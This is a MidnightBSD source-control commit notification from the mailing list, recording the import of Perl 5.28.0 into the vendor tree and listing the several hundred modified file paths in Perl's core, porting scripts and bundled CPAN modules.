[Midnightbsd-cvs] src [12126] vendor/perl/dist: perl 5.28.0

laffer1 at midnightbsd.org laffer1 at midnightbsd.org
Sat Dec 22 17:57:35 EST 2018


Revision: 12126
          http://svnweb.midnightbsd.org/src/?rev=12126
Author:   laffer1
Date:     2018-12-22 17:55:19 -0500 (Sat, 22 Dec 2018)
Log Message:
-----------
perl 5.28.0

Modified Paths:
--------------
    vendor/perl/dist/AUTHORS
    vendor/perl/dist/Artistic
    vendor/perl/dist/Configure
    vendor/perl/dist/Cross/Makefile-cross-SH
    vendor/perl/dist/Cross/cflags-cross-arm
    vendor/perl/dist/Cross/config.sh-arm-linux
    vendor/perl/dist/Cross/config.sh-arm-linux-n770
    vendor/perl/dist/EXTERN.h
    vendor/perl/dist/INSTALL
    vendor/perl/dist/MANIFEST
    vendor/perl/dist/META.json
    vendor/perl/dist/META.yml
    vendor/perl/dist/Makefile.SH
    vendor/perl/dist/Makefile.micro
    vendor/perl/dist/NetWare/Makefile
    vendor/perl/dist/NetWare/config.wc
    vendor/perl/dist/NetWare/config_H.wc
    vendor/perl/dist/NetWare/interface.c
    vendor/perl/dist/NetWare/interface.cpp
    vendor/perl/dist/NetWare/interface.h
    vendor/perl/dist/NetWare/iperlhost.h
    vendor/perl/dist/Porting/Glossary
    vendor/perl/dist/Porting/Maintainers.pl
    vendor/perl/dist/Porting/Maintainers.pm
    vendor/perl/dist/Porting/README.pod
    vendor/perl/dist/Porting/acknowledgements.pl
    vendor/perl/dist/Porting/bench.pl
    vendor/perl/dist/Porting/bisect-runner.pl
    vendor/perl/dist/Porting/checkAUTHORS.pl
    vendor/perl/dist/Porting/checkcfgvar.pl
    vendor/perl/dist/Porting/cmpVERSION.pl
    vendor/perl/dist/Porting/config.sh
    vendor/perl/dist/Porting/config_H
    vendor/perl/dist/Porting/corelist-perldelta.pl
    vendor/perl/dist/Porting/corelist.pl
    vendor/perl/dist/Porting/deparse-skips.txt
    vendor/perl/dist/Porting/epigraphs.pod
    vendor/perl/dist/Porting/exec-bit.txt
    vendor/perl/dist/Porting/how_to_write_a_perldelta.pod
    vendor/perl/dist/Porting/make-rmg-checklist
    vendor/perl/dist/Porting/makerel
    vendor/perl/dist/Porting/perldelta_template.pod
    vendor/perl/dist/Porting/pod_rules.pl
    vendor/perl/dist/Porting/pumpkin.pod
    vendor/perl/dist/Porting/release_announcement_template.txt
    vendor/perl/dist/Porting/release_managers_guide.pod
    vendor/perl/dist/Porting/release_schedule.pod
    vendor/perl/dist/Porting/sync-with-cpan
    vendor/perl/dist/README
    vendor/perl/dist/README.haiku
    vendor/perl/dist/README.macosx
    vendor/perl/dist/README.os2
    vendor/perl/dist/README.symbian
    vendor/perl/dist/README.synology
    vendor/perl/dist/README.vms
    vendor/perl/dist/README.win32
    vendor/perl/dist/XSUB.h
    vendor/perl/dist/amigaos4/amigaio.c
    vendor/perl/dist/autodoc.pl
    vendor/perl/dist/av.c
    vendor/perl/dist/caretx.c
    vendor/perl/dist/cflags.SH
    vendor/perl/dist/charclass_invlists.h
    vendor/perl/dist/config_h.SH
    vendor/perl/dist/configpm
    vendor/perl/dist/configure.com
    vendor/perl/dist/cop.h
    vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar/Constant.pm
    vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar/File.pm
    vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar.pm
    vendor/perl/dist/cpan/Archive-Tar/t/04_resolved_issues.t
    vendor/perl/dist/cpan/B-Debug/Debug.pm
    vendor/perl/dist/cpan/B-Debug/t/debug.t
    vendor/perl/dist/cpan/CPAN/lib/App/Cpan.pm
    vendor/perl/dist/cpan/CPAN/lib/CPAN/Distribution.pm
    vendor/perl/dist/cpan/CPAN/lib/CPAN/FTP.pm
    vendor/perl/dist/cpan/CPAN/lib/CPAN/FirstTime.pm
    vendor/perl/dist/cpan/CPAN/lib/CPAN/Shell.pm
    vendor/perl/dist/cpan/CPAN/lib/CPAN.pm
    vendor/perl/dist/cpan/CPAN-Meta/corpus/BadMETA.yml
    vendor/perl/dist/cpan/Compress-Raw-Zlib/Makefile.PL
    vendor/perl/dist/cpan/Compress-Raw-Zlib/Zlib.xs
    vendor/perl/dist/cpan/Compress-Raw-Zlib/config.in
    vendor/perl/dist/cpan/Compress-Raw-Zlib/lib/Compress/Raw/Zlib.pm
    vendor/perl/dist/cpan/Compress-Raw-Zlib/t/02zlib.t
    vendor/perl/dist/cpan/Compress-Raw-Zlib/typemap
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/adler32.c
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/compress.c
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/crc32.c
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/deflate.c
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/deflate.h
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/infback.c
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inffast.c
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inflate.c
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inflate.h
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/inftrees.c
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/trees.c
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/uncompr.c
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zconf.h
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zlib.h
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zutil.c
    vendor/perl/dist/cpan/Compress-Raw-Zlib/zlib-src/zutil.h
    vendor/perl/dist/cpan/Config-Perl-V/V.pm
    vendor/perl/dist/cpan/Config-Perl-V/t/10_base.t
    vendor/perl/dist/cpan/Config-Perl-V/t/20_plv56.t
    vendor/perl/dist/cpan/Config-Perl-V/t/21_plv58.t
    vendor/perl/dist/cpan/Config-Perl-V/t/22_plv510.t
    vendor/perl/dist/cpan/Config-Perl-V/t/23_plv512.t
    vendor/perl/dist/cpan/Config-Perl-V/t/24_plv514.t
    vendor/perl/dist/cpan/Config-Perl-V/t/25_plv516.t
    vendor/perl/dist/cpan/Config-Perl-V/t/25_plv5162.t
    vendor/perl/dist/cpan/Config-Perl-V/t/26_plv518.t
    vendor/perl/dist/cpan/Config-Perl-V/t/26_plv5182.t
    vendor/perl/dist/cpan/Config-Perl-V/t/27_plv5200.t
    vendor/perl/dist/cpan/Config-Perl-V/t/27_plv5202.t
    vendor/perl/dist/cpan/Config-Perl-V/t/28_plv5220.t
    vendor/perl/dist/cpan/Config-Perl-V/t/28_plv52201w.t
    vendor/perl/dist/cpan/Config-Perl-V/t/29_plv5235w.t
    vendor/perl/dist/cpan/Config-Perl-V/t/30_plv5240.t
    vendor/perl/dist/cpan/Config-Perl-V/t/31_plv52511.t
    vendor/perl/dist/cpan/Digest-SHA/SHA.xs
    vendor/perl/dist/cpan/Digest-SHA/lib/Digest/SHA.pm
    vendor/perl/dist/cpan/Digest-SHA/shasum
    vendor/perl/dist/cpan/Digest-SHA/src/sha.c
    vendor/perl/dist/cpan/Digest-SHA/src/sha.h
    vendor/perl/dist/cpan/Digest-SHA/src/sha64bit.c
    vendor/perl/dist/cpan/Digest-SHA/src/sha64bit.h
    vendor/perl/dist/cpan/Digest-SHA/t/allfcns.t
    vendor/perl/dist/cpan/Digest-SHA/t/base64.t
    vendor/perl/dist/cpan/Digest-SHA/t/bitbuf.t
    vendor/perl/dist/cpan/Digest-SHA/t/bitorder.t
    vendor/perl/dist/cpan/Digest-SHA/t/fips180-4.t
    vendor/perl/dist/cpan/Digest-SHA/t/fips198.t
    vendor/perl/dist/cpan/Digest-SHA/t/gg.t
    vendor/perl/dist/cpan/Digest-SHA/t/gglong.t
    vendor/perl/dist/cpan/Digest-SHA/t/hmacsha.t
    vendor/perl/dist/cpan/Digest-SHA/t/inheritance.t
    vendor/perl/dist/cpan/Digest-SHA/t/ireland.t
    vendor/perl/dist/cpan/Digest-SHA/t/methods.t
    vendor/perl/dist/cpan/Digest-SHA/t/nistbit.t
    vendor/perl/dist/cpan/Digest-SHA/t/nistbyte.t
    vendor/perl/dist/cpan/Digest-SHA/t/rfc2202.t
    vendor/perl/dist/cpan/Digest-SHA/t/sha1.t
    vendor/perl/dist/cpan/Digest-SHA/t/sha224.t
    vendor/perl/dist/cpan/Digest-SHA/t/sha256.t
    vendor/perl/dist/cpan/Digest-SHA/t/sha384.t
    vendor/perl/dist/cpan/Digest-SHA/t/sha512.t
    vendor/perl/dist/cpan/Digest-SHA/t/state.t
    vendor/perl/dist/cpan/Digest-SHA/t/unicode.t
    vendor/perl/dist/cpan/Digest-SHA/t/woodbury.t
    vendor/perl/dist/cpan/Encode/Encode/encode.h
    vendor/perl/dist/cpan/Encode/Encode.pm
    vendor/perl/dist/cpan/Encode/Encode.xs
    vendor/perl/dist/cpan/Encode/Makefile.PL
    vendor/perl/dist/cpan/Encode/Unicode/Unicode.pm
    vendor/perl/dist/cpan/Encode/Unicode/Unicode.xs
    vendor/perl/dist/cpan/Encode/bin/enc2xs
    vendor/perl/dist/cpan/Encode/bin/ucmlint
    vendor/perl/dist/cpan/Encode/encengine.c
    vendor/perl/dist/cpan/Encode/encoding.pm
    vendor/perl/dist/cpan/Encode/lib/Encode/Alias.pm
    vendor/perl/dist/cpan/Encode/lib/Encode/CN/HZ.pm
    vendor/perl/dist/cpan/Encode/lib/Encode/Encoding.pm
    vendor/perl/dist/cpan/Encode/lib/Encode/GSM0338.pm
    vendor/perl/dist/cpan/Encode/lib/Encode/Guess.pm
    vendor/perl/dist/cpan/Encode/lib/Encode/JP/JIS7.pm
    vendor/perl/dist/cpan/Encode/lib/Encode/KR/2022_KR.pm
    vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Header/ISO_2022_JP.pm
    vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Header.pm
    vendor/perl/dist/cpan/Encode/lib/Encode/MIME/Name.pm
    vendor/perl/dist/cpan/Encode/lib/Encode/Unicode/UTF7.pm
    vendor/perl/dist/cpan/Encode/t/CJKT.t
    vendor/perl/dist/cpan/Encode/t/decode.t
    vendor/perl/dist/cpan/Encode/t/enc_data.t
    vendor/perl/dist/cpan/Encode/t/enc_eucjp.t
    vendor/perl/dist/cpan/Encode/t/enc_module.t
    vendor/perl/dist/cpan/Encode/t/enc_utf8.t
    vendor/perl/dist/cpan/Encode/t/fallback.t
    vendor/perl/dist/cpan/Encode/t/guess.t
    vendor/perl/dist/cpan/Encode/t/jperl.t
    vendor/perl/dist/cpan/Encode/t/mime-header.t
    vendor/perl/dist/cpan/Encode/t/mime-name.t
    vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm
    vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm
    vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm
    vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm
    vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Install.pm
    vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm
    vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm
    vendor/perl/dist/cpan/ExtUtils-Install/t/Install.t
    vendor/perl/dist/cpan/ExtUtils-Install/t/InstallWithMM.t
    vendor/perl/dist/cpan/ExtUtils-Install/t/Installed.t
    vendor/perl/dist/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command/MM.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist/Kid.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Liblist.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_AIX.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Any.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_BeOS.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Cygwin.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_DOS.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Darwin.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_MacOS.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_NW5.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_OS2.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_QNX.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_UWIN.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VMS.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VOS.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win32.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win95.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MY.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Config.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/FAQ.pod
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Tutorial.pod
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mkbootstrap.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mksymlists.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/testlib.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/MM_Unix.t
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/basic.t
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/eu_command.t
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/XS.pm
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/metafile_data.t
    vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/parse_version.t
    vendor/perl/dist/cpan/File-Fetch/lib/File/Fetch.pm
    vendor/perl/dist/cpan/File-Fetch/t/01_File-Fetch.t
    vendor/perl/dist/cpan/File-Path/lib/File/Path.pm
    vendor/perl/dist/cpan/File-Path/t/FilePathTest.pm
    vendor/perl/dist/cpan/File-Path/t/Path.t
    vendor/perl/dist/cpan/File-Path/t/Path_root.t
    vendor/perl/dist/cpan/File-Path/t/Path_win32.t
    vendor/perl/dist/cpan/Filter-Util-Call/Call.pm
    vendor/perl/dist/cpan/Filter-Util-Call/Call.xs
    vendor/perl/dist/cpan/Filter-Util-Call/filter-util.pl
    vendor/perl/dist/cpan/Filter-Util-Call/t/call.t
    vendor/perl/dist/cpan/Filter-Util-Call/t/rt_101033.t
    vendor/perl/dist/cpan/Filter-Util-Call/t/rt_54452-rebless.t
    vendor/perl/dist/cpan/Getopt-Long/lib/Getopt/Long.pm
    vendor/perl/dist/cpan/IO-Socket-IP/lib/IO/Socket/IP.pm
    vendor/perl/dist/cpan/IPC-Cmd/lib/IPC/Cmd.pm
    vendor/perl/dist/cpan/IPC-Cmd/t/03_run-forked.t
    vendor/perl/dist/cpan/JSON-PP/bin/json_pp
    vendor/perl/dist/cpan/JSON-PP/lib/JSON/PP/Boolean.pm
    vendor/perl/dist/cpan/JSON-PP/lib/JSON/PP.pm
    vendor/perl/dist/cpan/JSON-PP/t/001_utf8.t
    vendor/perl/dist/cpan/JSON-PP/t/002_error.t
    vendor/perl/dist/cpan/JSON-PP/t/003_types.t
    vendor/perl/dist/cpan/JSON-PP/t/006_pc_pretty.t
    vendor/perl/dist/cpan/JSON-PP/t/007_pc_esc.t
    vendor/perl/dist/cpan/JSON-PP/t/008_pc_base.t
    vendor/perl/dist/cpan/JSON-PP/t/009_pc_extra_number.t
    vendor/perl/dist/cpan/JSON-PP/t/010_pc_keysort.t
    vendor/perl/dist/cpan/JSON-PP/t/011_pc_expo.t
    vendor/perl/dist/cpan/JSON-PP/t/012_blessed.t
    vendor/perl/dist/cpan/JSON-PP/t/014_latin1.t
    vendor/perl/dist/cpan/JSON-PP/t/015_prefix.t
    vendor/perl/dist/cpan/JSON-PP/t/016_tied.t
    vendor/perl/dist/cpan/JSON-PP/t/017_relaxed.t
    vendor/perl/dist/cpan/JSON-PP/t/018_json_checker.t
    vendor/perl/dist/cpan/JSON-PP/t/019_incr.t
    vendor/perl/dist/cpan/JSON-PP/t/020_unknown.t
    vendor/perl/dist/cpan/JSON-PP/t/021_evans_bugrep.t
    vendor/perl/dist/cpan/JSON-PP/t/099_binary.t
    vendor/perl/dist/cpan/JSON-PP/t/110_bignum.t
    vendor/perl/dist/cpan/JSON-PP/t/113_overloaded_eq.t
    vendor/perl/dist/cpan/JSON-PP/t/114_decode_prefix.t
    vendor/perl/dist/cpan/JSON-PP/t/116_incr_parse_fixed.t
    vendor/perl/dist/cpan/JSON-PP/t/zero-mojibake.t
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Changes.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Constants.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country_Codes.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Country_Retired.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency_Codes.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency_Retired.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Codes.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Retired.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Codes.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangFam_Retired.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Codes.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Retired.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language_Codes.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Language_Retired.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script_Codes.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Script_Retired.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Country.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Country.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Currency.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Currency.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Language.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Language.pod
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Script.pm
    vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Script.pod
    vendor/perl/dist/cpan/Locale-Codes/t/country_old.t
    vendor/perl/dist/cpan/Locale-Codes/t/currency_old.t
    vendor/perl/dist/cpan/Locale-Codes/t/language_old.t
    vendor/perl/dist/cpan/Locale-Codes/t/script_old.t
    vendor/perl/dist/cpan/Locale-Codes/t/testfunc.pl
    vendor/perl/dist/cpan/Locale-Codes/t/vals_country.pl
    vendor/perl/dist/cpan/Locale-Codes/t/vals_currency.pl
    vendor/perl/dist/cpan/Locale-Codes/t/vals_langext.pl
    vendor/perl/dist/cpan/Locale-Codes/t/vals_langfam.pl
    vendor/perl/dist/cpan/Locale-Codes/t/vals_language.pl
    vendor/perl/dist/cpan/Locale-Codes/t/vals_langvar.pl
    vendor/perl/dist/cpan/Locale-Codes/t/vals_script.pl
    vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigFloat.pm
    vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/Calc.pm
    vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/CalcEmu.pm
    vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm
    vendor/perl/dist/cpan/Math-BigInt/lib/Math/BigInt.pm
    vendor/perl/dist/cpan/Math-BigInt/t/Math/BigFloat/Subclass.pm
    vendor/perl/dist/cpan/Math-BigInt/t/Math/BigInt/Subclass.pm
    vendor/perl/dist/cpan/Math-BigInt/t/bare_mbf.t
    vendor/perl/dist/cpan/Math-BigInt/t/bare_mbi.t
    vendor/perl/dist/cpan/Math-BigInt/t/bigfltpm.inc
    vendor/perl/dist/cpan/Math-BigInt/t/bigfltpm.t
    vendor/perl/dist/cpan/Math-BigInt/t/bigintpm.inc
    vendor/perl/dist/cpan/Math-BigInt/t/bigintpm.t
    vendor/perl/dist/cpan/Math-BigInt/t/calling.t
    vendor/perl/dist/cpan/Math-BigInt/t/from_bin-mbf.t
    vendor/perl/dist/cpan/Math-BigInt/t/from_bin-mbi.t
    vendor/perl/dist/cpan/Math-BigInt/t/from_hex-mbf.t
    vendor/perl/dist/cpan/Math-BigInt/t/from_hex-mbi.t
    vendor/perl/dist/cpan/Math-BigInt/t/from_oct-mbf.t
    vendor/perl/dist/cpan/Math-BigInt/t/from_oct-mbi.t
    vendor/perl/dist/cpan/Math-BigInt/t/sub_mbf.t
    vendor/perl/dist/cpan/Math-BigInt/t/sub_mbi.t
    vendor/perl/dist/cpan/Math-BigInt/t/upgrade.inc
    vendor/perl/dist/cpan/Math-BigInt/t/upgrade.t
    vendor/perl/dist/cpan/Math-BigInt/t/upgradef.t
    vendor/perl/dist/cpan/Math-BigInt/t/with_sub.t
    vendor/perl/dist/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm
    vendor/perl/dist/cpan/Math-BigRat/lib/Math/BigRat.pm
    vendor/perl/dist/cpan/NEXT/lib/NEXT.pm
    vendor/perl/dist/cpan/NEXT/t/next.t
    vendor/perl/dist/cpan/Pod-Perldoc/lib/Pod/Perldoc.pm
    vendor/perl/dist/cpan/Scalar-List-Utils/ListUtil.xs
    vendor/perl/dist/cpan/Scalar-List-Utils/Makefile.PL
    vendor/perl/dist/cpan/Scalar-List-Utils/lib/List/Util/XS.pm
    vendor/perl/dist/cpan/Scalar-List-Utils/lib/List/Util.pm
    vendor/perl/dist/cpan/Scalar-List-Utils/lib/Scalar/Util.pm
    vendor/perl/dist/cpan/Scalar-List-Utils/lib/Sub/Util.pm
    vendor/perl/dist/cpan/Scalar-List-Utils/t/lln.t
    vendor/perl/dist/cpan/Scalar-List-Utils/t/pair.t
    vendor/perl/dist/cpan/Scalar-List-Utils/t/product.t
    vendor/perl/dist/cpan/Scalar-List-Utils/t/rt-96343.t
    vendor/perl/dist/cpan/Scalar-List-Utils/t/sum.t
    vendor/perl/dist/cpan/Scalar-List-Utils/t/uniq.t
    vendor/perl/dist/cpan/Socket/Makefile.PL
    vendor/perl/dist/cpan/Socket/Socket.pm
    vendor/perl/dist/cpan/Socket/Socket.xs
    vendor/perl/dist/cpan/Socket/t/getaddrinfo.t
    vendor/perl/dist/cpan/Socket/t/sockaddr.t
    vendor/perl/dist/cpan/Socket/t/socketpair.t
    vendor/perl/dist/cpan/Test-Harness/bin/prove
    vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State/Result/Test.pm
    vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State/Result.pm
    vendor/perl/dist/cpan/Test-Harness/lib/App/Prove/State.pm
    vendor/perl/dist/cpan/Test-Harness/lib/App/Prove.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Base.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Base.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Color.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console/ParallelSession.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console/Session.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Console.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/File/Session.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/File.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Formatter/Session.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Harness/Env.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Harness.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Object.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Aggregator.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Grammar.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Array.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Process.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator/Stream.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Iterator.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/IteratorFactory.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Multiplexer.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Bailout.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Comment.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Plan.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Pragma.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Test.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Unknown.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/Version.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result/YAML.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Result.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/ResultFactory.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Job.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler/Spinner.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Scheduler.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/Source.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Executable.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/File.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Handle.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/Perl.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler/RawTAP.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/SourceHandler.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Reader.pm
    vendor/perl/dist/cpan/Test-Harness/lib/TAP/Parser/YAMLish/Writer.pm
